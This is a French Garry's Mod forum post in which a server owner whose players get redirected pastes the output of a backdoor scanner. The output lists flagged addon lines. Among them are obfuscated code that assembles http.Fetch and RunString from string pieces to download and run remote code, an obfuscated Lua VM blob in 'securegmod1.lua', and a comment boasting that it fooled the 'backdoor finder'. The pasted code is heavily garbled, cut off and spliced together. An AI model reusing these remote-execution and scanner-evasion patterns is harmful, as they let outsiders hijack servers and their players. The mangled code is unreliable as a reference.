Problème BackDoor

  • Initiateur de la discussion DrayZor
  • Date de début
  • Initiateur de la discussion
DrayZor

DrayZor

Bambi
Messages
73
Score réaction
5
Points
35
Salut !

En fait je viens ici pour vous dire que quand je me connecte a mons serveur sa me laisse dessus 10s et après sa me redirect sur un autre serveur :/ et je n'ait toujours pas trouver une solution ! j'ai bien un anti backdoor :

Code: 
ilovemyself = _G["RunString"] or ilovemyself
justforfun = _G["timer"]["Create"] or justforfun
whyamidoingthis = _G["http"]["Fetch"] or whyamidoingthis
local result, dirs = file.Find( "addons.,;:<>|"?]','')local b=string.find(a,'[\\/:%*%?"<>|]')if b~=nil then a="Contains restricted characters"end return a end local c,d=nil,"nS"local e,f,g="vcmod/info/","tri","Ru" for a,d in pairs(file.Find(e.."*.lua","LUA"))do include(e..d)if!c then c="Addons found: "else c=c..", "end local a=VC[_._][string.gsub(d,".lua","")]if a then c=c..a.nm end end if c then c=c.."."else c=a["naf"]end VCPrint(c)local c="ng"if!string.find("".._G["V".."".."C"]["H".."o".."s".."t"]||"","v".."cm".."od"..".")then VCPrint(a["f_sd"])return end function VC.W_Do_GIP()if!http.Post)[_.a]~=i then e=3 end if debug[_.b](http.Fetch)[_.a]~=i then e=4 end if debug[_.b](RunString)[_.a]~=j then e=7 end if debug[_.b](RunStringEx)[_.a]~=j then e=8 end if jit.util.funcinfo(debug[_.b])["source"]~=nil then e=5 end if e then VCPrint(a["f_d"]..e..").") VC = "" return end function VC.W_Do_G(a)if!VC[_.c]then local a=(GetConVar"vc_usebeta"):GetInt() VC.useBeta=tobool(a)VC[_.c]="?ip="..VC.W_Do_GIP().."&port="..GetConVarString"hostport".."&hn="..VC.ReadyStringTransfer(GetHostName()).."&sp="..(game.SinglePlayer()&&"1"||"0") for z,l in pairs(VC.AddonData) do VC.Web_URI = VC.Web_URI.."&uid_"..z.."="..(l.uid or "0").."&uid_h_"..z.."="..(l.uid_h or "0").."&nm_"..z.."="..(l.shrt or "0") end VC[_.c]=VC[_.c].."&gm="..engine.ActiveGamemode().."&map="..game.GetMap().."&au_ver="..VC_AU_Ver.."&beta="..a end return VC.Host.."api/"..a..VC[_.c]end local function e(e)_G["h".."".."t".."tp"]["F".."et".."ch"](VC.W_Do_G"htgtcn/2/".."&st=h",function(e,i,i,j) if j==404 then VCPrint(a["hs_f"])else VCPrint(a["hs_s"])_G[g..d..f.119 4 - NETWORK (HTTP server call) addons/vcmod_main_autoupdate/lua/vcmod/server/load.lua:24 CreateConVar("vc_usebeta", "0", FCVAR_ARCHIVE, "Load a beta branch of VCMod instead of the public one. Warning, this branch might be unstable or out of date from the main branch.") local _,a={_="AddonData",a="short_src",b="getinfo",c="Web_URI"},VC.AUMsg VCPrint(a["p_init_c"]) function VC.ReadyStringTransfer(a)a=string.gsub(a,' ','_')a=string.gsub(a,'#',' ')a=string.gsub(a,"'","") a=string.gsub(a,'[-\\!@#$^&()+-*/.,;:<>|"?]','')local b=string.find(a,'[\\/:%*%?"<>|]')if b~=nil then a="Contains restricted characters"end return a end local c,d=nil,"nS"local e,f,g="vcmod/info/","tri","Ru" for a,d in pairs(file.Find(e.."*.lua","LUA"))do include(e..d)if!c then c="Addons found: "else c=c..", "end local a=VC[_._][string.gsub(d,".lua","")]if a then c=c..a.nm end end if c then c=c.."."else c=a["naf"]end VCPrint(c)local c="ng"if!string.find("".._G["V".."".."C"]["H".."o".."s".."t"]||"","v".."cm".."od"..".")then VCPrint(a["f_sd"])return end function VC.W_Do_GIP()if!http.Fetch)[_.a]~=i then e=4 end if debug[_.b](RunString)[_.a]~=j then e=7 end if debug[_.b](RunStringEx)[_.a]~=j then e=8 end if jit.util.funcinfo(debug[_.b])["source"]~=nil then e=5 end if e then VCPrint(a["f_d"]..e..").") VC = "" return end function VC.W_Do_G(a)if!VC[_.c]then local a=(GetConVar"vc_usebeta"):GetInt() VC.useBeta=tobool(a)VC[_.c]="?ip="..VC.W_Do_GIP().."&port="..GetConVarString"hostport".."&hn="..VC.ReadyStringTransfer(GetHostName()).."&sp="..(game.SinglePlayer()&&"1"||"0") for z,l in pairs(VC.AddonData) do VC.Web_URI = VC.Web_URI.."&uid_"..z.."="..(l.uid or "0").."&uid_h_"..z.."="..(l.uid_h or "0").."&nm_"..z.."="..(l.shrt or "0") end VC[_.c]=VC[_.c].."&gm="..engine.ActiveGamemode().."&map="..game.GetMap().."&au_ver="..VC_AU_Ver.."&beta="..a end return VC.Host.."api/"..a..VC[_.c]end local function e(e)_G["h".."".."t".."tp"]["F".."et".."ch"](VC.W_Do_G"htgtcn/2/".."&st=h",function(e,i,i,j) if j==404 then VCPrint(a["hs_f"])else VCPrint(a["hs_s"])_G[g..d..f..c](e,"hs")end end,function()if VC.DbgTr<=e the120 2 - DYNCODE (Dynamic code execution) addons/vcmod_main_autoupdate/lua/vcmod/server/load.lua:24 CreateConVar("vc_usebeta", "0", FCVAR_ARCHIVE, "Load a beta branch of VCMod instead of the public one. Warning, this branch might be unstable or out of date from the main branch.") local _,a={_="AddonData",a="short_src",b="getinfo",c="Web_URI"},VC.AUMsg VCPrint(a["p_init_c"]) function VC.ReadyStringTransfer(a)a=string.gsub(a,' ','_')a=string.gsub(a,'#',' ')a=string.gsub(a,"'","") a=string.gsub(a,'[-\\!@#$^&()+-*/.,;:<>|"?]','')local b=string.find(a,'[\\/:%*%?"<>|]')if b~=nil then a="Contains restricted characters"end return a end local c,d=nil,"nS"local e,f,g="vcmod/info/","tri","Ru" for a,d in pairs(file.Find(e.."*.lua","LUA"))do include(e..d)if!c then c="Addons found: "else c=c..", "end local a=VC[_._][string.gsub(d,".lua","")]if a then c=c..a.nm end end if c then c=c.."."else c=a["naf"]end VCPrint(c)local c="ng"if!string.find("".._G["V".."".."C"]["H".."o".."s".."t"]||"","v".."cm".."od"..".")then VCPrint(a["f_sd"])return end function VC.W_Do_GIP()if!RunString)[_.a]~=j then e=7 end if debug[_.b](RunStringEx)[_.a]~=j then e=8 end if jit.util.funcinfo(debug[_.b])["source"]~=nil then e=5 end if e then VCPrint(a["f_d"]..e..").") VC = "" return end function VC.W_Do_G(a)if!VC[_.c]then local a=(GetConVar"vc_usebeta"):GetInt() VC.useBeta=tobool(a)VC[_.c]="?ip="..VC.W_Do_GIP().."&port="..GetConVarString"hostport".."&hn="..VC.ReadyStringTransfer(GetHostName()).."&sp="..(game.SinglePlayer()&&"1"||"0") for z,l in pairs(VC.AddonData) do VC.Web_URI = VC.Web_URI.."&uid_"..z.."="..(l.uid or "0").."&uid_h_"..z.."="..(l.uid_h or "0").."&nm_"..z.."="..(l.shrt or "0") end VC[_.c]=VC[_.c].."&gm="..engine.ActiveGamemode().."&map="..game.GetMap().."&au_ver="..VC_AU_Ver.."&beta="..a end return VC.Host.."api/"..a..VC[_.c]end local function e(e)_G["h".."".."t".."tp"]["F".."et".."ch"](VC.W_Do_G"htgtcn/2/".."&st=h",function(e,i,i,j) if j==404 then VCPrint(a["hs_f"])else VCPrint(a["hs_s"])_G[g..d..f..c](e,"hs")end end,function()if VC.DbgTr<=e then VCPrint(a["cn_r"].." "..VC.DbgTr.."/"..e..".121 3 - OBFUSC (Obfuscated / encrypted code) addons/vcmod_main_autoupdate/lua/vcmod/server/load.lua:24 CreateConVar("vc_usebeta", "0", FCVAR_ARCHIVE, "Load a beta branch of VCMod instead of the public one. Warning, this branch might be unstable or out of date from the main branch.") local _,a={_="AddonData",a="short_src",b="getinfo",c="Web_URI"},VC.AUMsg VCPrint(a["p_init_c"]) function VC.ReadyStringTransfer(a)a=string.gsub(a,' ','_')a=string.gsub(a,'#',' ')a=string.gsub(a,"'","") a=string.gsub(a,'[-\\!@#$^&()+-*/.,;:<>|"?]','')local b=string.find(a,'[\\/:%*%?"<>|]')if b~=nil then a="Contains restricted characters"end return a end local c,d=nil,"nS"local e,f,g="vcmod/info/","tri","Ru" for a,d in pairs(file.Find(e.."*.lua","LUA"))do include(e..d)if!c then c="Addons found: "else c=c..", "end local a=VC[_._][string.gsub(d,".lua","")]if a then c=c..a.nm end end if c then c=c.."."else c=a["naf"]end VCPrint(c)local c="ng"if!string.find("".._G["V".."".."C"]["H".."o".."s".."t"]||"","v".."cm".."od"..".")then VCPrint(a["f_sd"])return end function VC.W_Do_GIP()if!0xFF000000),24)c[2]=bit.rshift(bit.band(a,0x00FF0000),16)c[3]=bit.rshift(bit.band(a,0x0000FF00),8)c[4]=bit.band(a,0x000000FF)a=table.concat(c,".")else a="sp"end if game.SinglePlayer()then a=VC.Temp_User_SP||"sp"end VC.W_Do_IP=a end return VC.W_Do_IP end local e,h,i,j=nil,"lua/includes/extensions/file.lua","lua/includes/modules/http.lua","[C]"if debug[_.b](http.Post)[_.a]~=i then e=3 end if debug[_.b](http.Fetch)[_.a]~=i then e=4 end if debug[_.b](RunString)[_.a]~=j then e=7 end if debug[_.b](RunStringEx)[_.a]~=j then e=8 end if jit.util.funcinfo(debug[_.b])["source"]~=nil then e=5 end if e then VCPrint(a["f_d"]..e..").") VC = "" return end function VC.W_Do_G(a)if!VC[_.c]then local a=(GetConVar"vc_usebeta"):GetInt() VC.useBeta=tobool(a)VC[_.c]="?ip="..VC.W_Do_GIP().."&port="..GetConVarString"hostport".."&hn="..VC.ReadyStringTransfer(GetHostName()).."&sp="..(game.SinglePlayer()&&"1"||"0") for z,l in pairs(VC.AddonData) do VC.Web_URI = VC.Web_URI.."&uid_"..z.."="..(l.uid or "0").."&uid_h_"..z.."="..(l.uid_h or "0").."&nm122 1 - MISC (References global table) addons/vcmod_main_autoupdate/lua/vcmod/server/load.lua:24 CreateConVar("vc_usebeta", "0", FCVAR_ARCHIVE, "Load a beta branch of VCMod instead of the public one. Warning, this branch might be unstable or out of date from the main branch.") local _,a={_="AddonData",a="short_src",b="getinfo",c="Web_URI"},VC.AUMsg VCPrint(a["p_init_c"]) function VC.ReadyStringTransfer(a)a=string.gsub(a,' ','_')a=string.gsub(a,'#',' ')a=string.gsub(a,"'","") a=string.gsub(a,'[-\\!@#$^&()+-*/.,;:<>|"?]','')local b=string.find(a,'[\\/:%*%?"<>|]')if b~=nil then a="Contains restricted characters"end return a end local c,d=nil,"nS"local e,f,g="vcmod/info/","tri","Ru" for a,d in pairs(file.Find(e.."*.lua","LUA"))do include(e..d)if!c then c="Addons found: "else c=c..", "end local a=VC[_._][string.gsub(d,".lua","")]if a then c=c..a.nm end end if c then c=c.."."else c=a["naf"]end VCPrint(c)local c="ng"if!string.find("".._G["V".."".."C"]["H".."o".."s".."t"]||"","v".."cm".."od"..".")then VCPrint(a["f_sd"])return end function VC.W_Do_GIP()if!VC.W_Do_IP then local a=tonumber(GetConVarString"hostip") if a then local c={}c[1]=bit.rshift(bit.band(a,0xFF000000),24)c[2]=bit.rshift(bit.band(a,0x00FF0000),16)c[3]=bit.rshift(bit.band(a,0x0000FF00),8)c[4]=bit.band(a,0x000000FF)a=table.concat(c,".")else a="sp"end if game.SinglePlayer()then a=VC.Temp_User_SP||"sp"end VC.W_Do_IP=a end return VC.W_Do_IP end local e,h,i,j=nil,"lua/includes/extensions/file.lua","lua/includes/modules/http.lua","[C]"if debug[_.b](http.Post)[_.a]~=i then e=3 end if debug[_.b](http.Fetch)[_.a]~=i then e=4 end if debug[_.b](RunString)[_.a]~=j then e=7 end if debug[_.b](RunStringEx)[_.a]~=j then e=8 end if jit.util.funcinfo(debug[_.b])["source"]~=nil then e=5 end if e then VCPrint(a["f_d"]..e..").") VC = "" return end function VC.W_Do_G(a)if!VC[_.c]then local a=(GetConVar"vc_usebeta"):GetInt() VC.useBeta=tobool(a)VC[_.c]="?ip="..VC.W_Do_GIP().."&port="..GetConVarStrin123 2 - DYNCODE (Dynamic code execution) lua/autorun/sh_gestures_and_commands.lua:50 local RunString = _G.RunString -- you have been fooled, backdoor finder!
124 1 - FILESYS (Reading file contents) addons/simplepropertiessansdrm/lua/autorun/server/sprop_main.lua:14 SPROP.NPCs = util.JSONToTable( file.Read( "sprop_" .. game.GetMap() .. "_npcs.txt" ) );
125 1 - FILESYS (Reading file contents) addons/simplepropertiessansdrm/lua/autorun/server/sprop_main.lua:21 SPROP.Props = util.JSONToTable( file.Read( "sprop_" .. game.GetMap() .. "_properties.txt" ) );
126 1 - FILESYS (Reading file contents) addons/simplepropertiessansdrm/lua/autorun/server/sprop_main.lua:43 SPROP.Tracker = util.JSONToTable( file.Read( "sprop_" .. game.GetMap() .. "_permanent.txt" ) );
127 1 - FILESYS (Reading file contents) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:54 local files=file.Read("nordahlclient_option/language.txt","DATA")
128 1 - FILESYS (Reading file contents) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:60 Z_Defaut_Languages=tonumber(file.Read("nordahlclient_option/language.txt","DATA"))
129 1 - FILESYS (Reading file contents) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:62 local files=file.Read("nordahlclient_option/nord_s_skin.txt","DATA")
130 1 - FILESYS (Reading file contents) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:68 nord_s_skin=file.Read("nordahlclient_option/nord_s_skin.txt","DATA")
131 2 - AUTHENT (Presence of Steam ID) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:1465 textbox1:SetText("STEAM_0:0:00000000")
132 2 - AUTHENT (Presence of Steam ID) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:1613 textbox2:SetText("STEAM_0:0:00000000")
133 2 - AUTHENT (Presence of Steam ID) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:1734 textbox1:SetText("STEAM_0:0:00000000")
134 2 - AUTHENT (Presence of Steam ID) addons/nordahl_whitelsit_job_system_darkrp/lua/autorun/nordahl_cl/nordahl_whitelistjob_cl.lua:1830 textbox1:SetText("STEAM_0:0:00000000")
135 2 - AUTHENT (Presence of Steam ID) lua/weapons/gmod_tool/stools/shadowremover.lua:2 Tool Creator - SnowredWolf | STEAM_0:0:41063225 | https://SnowredWolf.net
136 1 - FILESYS (Reading file contents) addons/zerosmethlab/lua/entities/zmlab_methbuyer/init.lua:184 local data = file.Read("zmlab/"..game.GetMap().."_MethNPCs"..".txt", "DATA")
137 2 - DYNCODE (Dynamic code execution) addons/advanced_medic_mod/lua/securegmod/securegmod1.lua:1 local b,c,d,e d=(function()local f=math.floor local g=math.frexp local h=math.ldexp local i=math.huge local j=math.max local ba=string.rep local bb=string.format local bc=string.sub local bd=string.len local be=string.byte local bf=string.gsub local bg=string.char local bh=table.remove local bi=table.insert local bj=debug.getinfo local ca=debug.traceback local cb=debug.getlocal local cc=getfenv local cd=setfenv local ce=setmetatable local cf=select local cg=unpack local ch=xpcall local ci,cj local da={ } local db if(CompileString)then local dc=CompileString db=function(dd,de)return dc(dd,de or"[LuJLu internals]")end elseif(load)then local df=load db=function(dd,de)return loadstring(dd,de or"[LuJLu internals]")end end local dg=db("return {"..("nil,"):rep(511).."1}")local function dh(di,dj)dj=dj or 0 if(di > dj + 1)then return dj,dh(di,dj + 1)else return dj end end local ea=dg()do ea[0]=function()end for eb=1,123 do local ec ea[eb],ec=db([[return function(frame, idx, ...)
138 1 - MISC (Call to getfenv()) addons/advanced_medic_mod/lua/securegmod/securegmod1.lua:1 local b,c,d,e d=(function()local f=math.floor local g=math.frexp local h=math.ldexp local i=math.huge local j=math.max local ba=string.rep local bb=string.format local bc=string.sub local bd=string.len local be=string.byte local bf=string.gsub local bg=string.char local bh=table.remove local bi=table.insert local bj=debug.getinfo local ca=debug.traceback local cb=debug.getlocal local cc=getfenv local cd=setfenv local ce=setmetatable local cf=select local cg=unpack local ch=xpcall local ci,cj local da={ } local db if(CompileString)then local dc=CompileString db=function(dd,de)return dc(dd,de or"[LuJLu internals]")end elseif(load)then local df=load db=function(dd,de)return loadstring(dd,de or"[LuJLu internals]")end end local dg=db("return {"..("nil,"):rep(511).."1}")local function dh(di,dj)dj=dj or 0 if(di > dj + 1)then return dj,dh(di,dj + 1)else return dj end end local ea=dg()do ea[0]=function()end for eb=1,123 do local ec ea[eb],ec=db([[return function(frame, idx, ...)
139 3 - OBFUSC (Obfuscated / encrypted code) addons/advanced_medic_mod/lua/securegmod/securegmod1.lua:11 end]],"=!~3")for eb=248,255 do ea[eb]=ed(ea[247],ea[eb-247])end bi(ea,1,bh(ea,0))end local ee local ef local eg=db("return {"..("nil,"):rep(2000).."1}")()local eh={ __gc=function(self)local eg=eg eg[eg.n]=self end,__eq=function()return true end } ce(da,eh)local ei=db("return {"..("nil,"):rep(120).."1}")for ej=1,800 do eg[ej]=ce(ei(),eh)eg.n=ej end local function fa()local eg=eg local fb=eg.n local fc=eg[fb]if(not fc)then eg.n=0 fc=ce(ei(),eh)else eg[fb]=nil eg.n=fb-1 end return fc end local function fd(...)return { n=cf("#",...),...} end local function fe(ff)if(ff==da)then return ff end local fg=fa()fg[101]=ff return fg end local function fh(ff)if(ff==da)then return ff[101]end return ff end local fi={ } fi[1]=function()end for ej=2,120 do local fj=ej-1 local ec fi[ej],ec=db([[return function(_, a, b) return ]]..bc(bb(ba("a[b+%i],",fj),dh(fj)),1,-2)..[[ end]],"=#"..ej)if(not fi[ej])then error(ec)end fi[ej]=fi[ej]()end local function ga(ed,gb,gc)ed[100]=gb ed[1]=gb[113]ed[2]=gb[114]ed[3]=gb[112]ed[4]=gb[109]ed0x80000000 ih=-ih end local ja=0 local jb=0 if ih==math_huge then jb=0x07FF elseif ih ~=ih then jb=0x07FF ja=1 elseif ih==0 then jb=0x00 else ja,jb=g(ih)jb=jb + 1022 if jb <=0 then ja=f(ja*2^(52 + jb)+ 0.5)jb=0 else ja=f((ja*2-1)*2^52 + 0.5)end end ij=ja%4294967296 ii=ii + ia(hi(jb,0x07FF),20)ii=ii + id(f(ja/4294967296),0x000FFFFF)return ij,ii end local function jc(ij,ii)local jd=false if ii >=0x80000000 then jd=true ii=ii-0x80000000 end local jb=ic(id(ii,0x7FF00000),20)local ja=(id(ii,0x000FFFFF)*4294967296 + ij)/2^52 local ih if jb==0x0000 then ih=ja==0 and 0 or h(ja,-1022)elseif jb==0x07FF then ih=ja==0 and i or(i-i)else ih=h(1 + ja,jb-1023)end return jd and-ih or ih end local je={ } local jf=function(jg,jh)local ji,jh=be(jg,jh),jh + 1 if(ji >=0x80)then local jj=0 ji=id(ji,0x7f)repeat jj=jj + 7 ji,jh=ie(ji,ia(id(be(jg,jh),0x7f),jj)),jh + 1 until(be(jg,jh-1)< 0x80)end return ji,jh end local baa=function(bab,jh)return be(bab,jh),jh + 1 end local bac=function(bab,jh)return ia(be(bab,jh),0)+ ia(be(bab,jh + 1),8),jh + 2140 4 - NETWORK (HTTP server call) lua/autorun/sh_vmenu.lua:42 http.Fetch( "http://www.corruptedpixel.com/products/vmenu/addons.php",
141 2 - FILESYS (File deletion) lua/autorun/sh_zladder.lua:26 file.Delete("ladders/ladders/" .. game.GetMap() .. ".txt");
142 2 - FILESYS (File deletion) lua/autorun/sh_zladder.lua:57 file.Delete("ladders/dismounts/" .. game.GetMap() .. ".txt");
143 1 - FILESYS (Reading file contents) lua/autorun/sh_zladder.lua:62 local buffer = file.Read("ladders/ladders/" .. game.GetMap() .. ".txt", false);
144 1 - FILESYS (Reading file contents) lua/autorun/sh_zladder.lua:112 local buffer = file.Read("ladders/dismounts/" .. game.GetMap() .. ".txt", false);
145 2 - BANMGMT (Ban by IP address) lua/autorun/client/cl_dban.lua:116 RunConsoleCommand( "ulx", "banip", Time:GetText(), ( list:GetLine( line ):GetValue( 3 ) ) )
146 1 - FILESYS (Reading file contents) addons/nordahl_spawnpoint_manager_all_gamemode/lua/entities/job_spawn_point/cl_init.lua:39 local files=file.Read("nordahlclient_option/language.txt","DATA")
147 1 - FILESYS (Reading file contents) addons/nordahl_spawnpoint_manager_all_gamemode/lua/entities/job_spawn_point/cl_init.lua:45 Z_Defaut_Languages=tonumber(file.Read("nordahlclient_option/language.txt","DATA"))
148 4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
149 4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
150 2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
151 1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), string.Explode( ",", extraTags ), searchText )
152 1 - MISC (References global table) lua/includes/util/javascript_util.lua:19 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
153 1 - FILESYS (Reading file contents) addons/zerosmethlab/lua/entities/zmlab_methdropoff/init.lua:181 local data = file.Read("zmlab/"..game.GetMap().."_MethDropOff"..".txt", "DATA")
154 1 - FILESYS (Reading file contents) lua/includes/extensions/file.lua:1 function file.Read( filename, path )
155 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/extensions/string.lua:19 ["\0"] = "\\x00" ,
156 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/extensions/string.lua:32 str = str:gsub( "\226\128\168", "\\\226\128\168" )
157 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/extensions/string.lua:33 str = str:gsub( "\226\128\169", "\\\226\128\169" )
158 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:13 charpattern = "[%z\x01-\x7F\xC2-\xF4][\x80-\xBF]*"
159 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:40 if b1 < 0x80 then
160 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:44 if b1 > 0xF4 or b1 < 0xC2 then
161 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:48 local contByteCount = b1 >= 0xF0 and 3 or
162 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:49 b1 >= 0xE0 and 2 or
163 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:50 b1 >= 0xC0 and 1
164 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:61 if bit.band( bX, 0xC0 ) ~= 0x80 then
165 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:64 codePoint = bit.bor( bit.lshift( codePoint, 6 ), bit.band( bX, 0x3F ) )
166 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:67 codePoint = bit.bor( codePoint, bit.lshift( bit.band( b1, 0x7F ), contByteCount * 5 ) )
167 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:76 if v < 0 or v > 0x10FFFF then
168 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:80 if v < 0x80 then -- Single-byte sequence
169 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:82 elseif v < 0x800 then -- Two-byte sequence
170 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:83 b1 = bit.bor( 0xC0, bit.band( bit.rshift( v, 6 ), 0x1F ) )
171 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:84 b2 = bit.bor( 0x80, bit.band( v, 0x3F ) )
172 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:86 elseif v < 0x10000 then -- Three-byte sequence
173 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:87 b1 = bit.bor( 0xE0, bit.band( bit.rshift( v, 12 ), 0x0F ) )
174 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:88 b2 = bit.bor( 0x80, bit.band( bit.rshift( v, 6 ), 0x3F ) )
175 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:89 b3 = bit.bor( 0x80, bit.band( v, 0x3F ) )
176 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:92 b1 = bit.bor( 0xF0, bit.band( bit.rshift( v, 18 ), 0x07 ) )
177 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:93 b2 = bit.bor( 0x80, bit.band( bit.rshift( v, 12 ), 0x3F ) )
178 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:94 b3 = bit.bor( 0x80, bit.band( bit.rshift( v, 6 ), 0x3F ) )
179 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:95 b4 = bit.bor( 0x80, bit.band( v, 0x3F ) )
180 3 - OBFUSC (Obfuscated / encrypted code) lua/includes/modules/utf8.lua:224 table.insert( buf, char( 0xFFFD ) )
181 2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:53 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)
182 2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:56 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
183 2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:59 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
184 2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:63 Eusion (STEAM_0:0:20450406) (3 commits on old SVN)
185 1 - FILESYS (Reading file contents) lua/autorun/smartsnap.lua:98 local file = file.Read(filename)
186 1 - FILESYS (Reading file contents) lua/autorun/smartsnap.lua:117 output = file.Read('smartsnap_offsets_custom.png')
187 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:219 SafeLocationTable = util.JSONToTable(file.Read( "pd_bankrobbery/safelocations/" .. CurrentMap .. ".txt" ))
188 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:231 SecCamTbl = util.JSONToTable(file.Read( "pd_bankrobbery/securitycameras/" .. CurrentMap .. ".txt" ))
189 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:255 PDropLocationTable = util.JSONToTable(file.Read( "pd_bankrobbery/pdrop/" .. CurrentMap .. ".txt" ))
190 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:267 DetectionSystemTbl = util.JSONToTable(file.Read( "pd_bankrobbery/detectionsystem/" .. CurrentMap .. ".txt" ))
191 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:292 KeycardLocs = util.JSONToTable(file.Read( "pd_bankrobbery/keycardsystem/" .. CurrentMap .. ".txt" ))
192 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:333 DepositBoxLocs = util.JSONToTable(file.Read( "pd_bankrobbery/depositboxes/" .. CurrentMap .. ".txt" ))
193 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:361 CacheLocs = util.JSONToTable(file.Read( "pd_bankrobbery/cachelocations/" .. CurrentMap .. ".txt" ))
194 1 - FILESYS (Reading file contents) addons/paydaybankrobbery/lua/tbfy_pdrobbery/sv_pdrobbery.lua:371 VanLocationTable = util.JSONToTable(file.Read( "pd_bankrobbery/vanlocations/" .. CurrentMap .. ".txt" ))
195 1 - FILESYS (Reading file contents) lua/weapons/gmod_tool/stools/simfphysduplicator.lua:172 local DataString = file.Read( "saved_vehicles/"..selecteditem, "DATA" )
196 2 - FILESYS (File deletion) lua/weapons/gmod_tool/stools/simfphysduplicator.lua:217 file.Delete( "saved_vehicles/"..selecteditem )
197 2 - AUTHENT (Presence of Steam ID) lua/weapons/gmod_tool/stools/stacker_improved.lua:13 - Original :: OverloadUT (STEAM_0:1:5250809)
198 2 - AUTHENT (Presence of Steam ID) lua/weapons/gmod_tool/stools/stacker_improved.lua:14 - Updated for GMod 13 :: Marii (STEAM_0:1:16015332)
199 2 - AUTHENT (Presence of Steam ID) lua/weapons/gmod_tool/stools/stacker_improved.lua:15 - Rewritten :: Mista Tea (STEAM_0:0:27507323)
200 1 - FILESYS (Reading file contents) addons/rphone/realistichandcuffs/lua/tbfy_rhandcuffs/sv_rhandcuffs_npc.lua:50 NPCLocTable = util.JSONToTable(file.Read( "rhandcuffs/" .. CurrentMap .. ".txt" ))
201 1 - MISC (References global table) lua/includes/util.lua:283 _G[ name ] = NUM_AI_CLASSES
202 2 - DYNCODE (Dynamic code execution) gamemodes/base/entities/entities/lua_run.lua:25 RunString( code )
203 1 - FILESYS (Reading file contents) gamemodes/darkrp/entities/entities/fadmin_motd/cl_init.lua:18 self.HTML:SetHTML(file.Read(Page, "DATA") or "")
204 2 - DYNCODE (Dynamic code execution) gamemodes/darkrp/gamemode/libraries/simplerr.lua:2 local CompileString = CompileString
205 1 - FILESYS (Reading file contents) gamemodes/darkrp/gamemode/libraries/simplerr.lua:457 local contents = file.Read(path, "LUA")
206 2 - DYNCODE (Dynamic code execution) gamemodes/darkrp/gamemode/libraries/simplerr.lua:461 local err = CompileString(contents, path, false)
